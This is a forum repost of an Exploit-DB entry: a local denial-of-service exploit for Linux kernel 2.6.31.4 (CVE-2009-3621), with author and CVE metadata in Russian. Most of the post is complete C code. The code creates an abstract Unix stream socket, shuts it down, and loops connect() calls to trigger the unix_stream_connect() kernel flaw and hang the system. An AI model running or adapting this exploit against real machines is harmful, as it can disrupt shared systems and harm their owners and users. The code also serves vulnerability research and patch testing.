Exploit Linux Kernel 2.6.31.4 - 'unix_stream_connect()' Local Denial of Service

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
10022
Проверка EDB
  1. Пройдено
Автор
TOMOKI SEKIYAMA
Тип уязвимости
DOS
Платформа
LINUX
CVE
cve-2009-3621
Дата публикации
2009-11-10
C:
int main(void)
{
	int ret;
	int csd;
	int lsd;
	struct sockaddr_un sun;

	/* make an abstruct name address (*) */
	memset(&sun, 0, sizeof(sun));
	sun.sun_family = PF_UNIX;
	sprintf(&sun.sun_path[1], "%d", getpid());

	/* create the listening socket and shutdown */
	lsd = socket(AF_UNIX, SOCK_STREAM, 0);
	bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
	listen(lsd, 1);
	shutdown(lsd, SHUT_RDWR);

	/* connect loop */
	alarm(15); /* forcely exit the loop after 15 sec */
	for (;;) {
		csd = socket(AF_UNIX, SOCK_STREAM, 0);
		ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
		if (-1 == ret) {
			perror("connect()");
			break;
		}
		puts("Connection OK");
	}
	return 0;
}
 
Источник
www.exploit-db.com

Похожие темы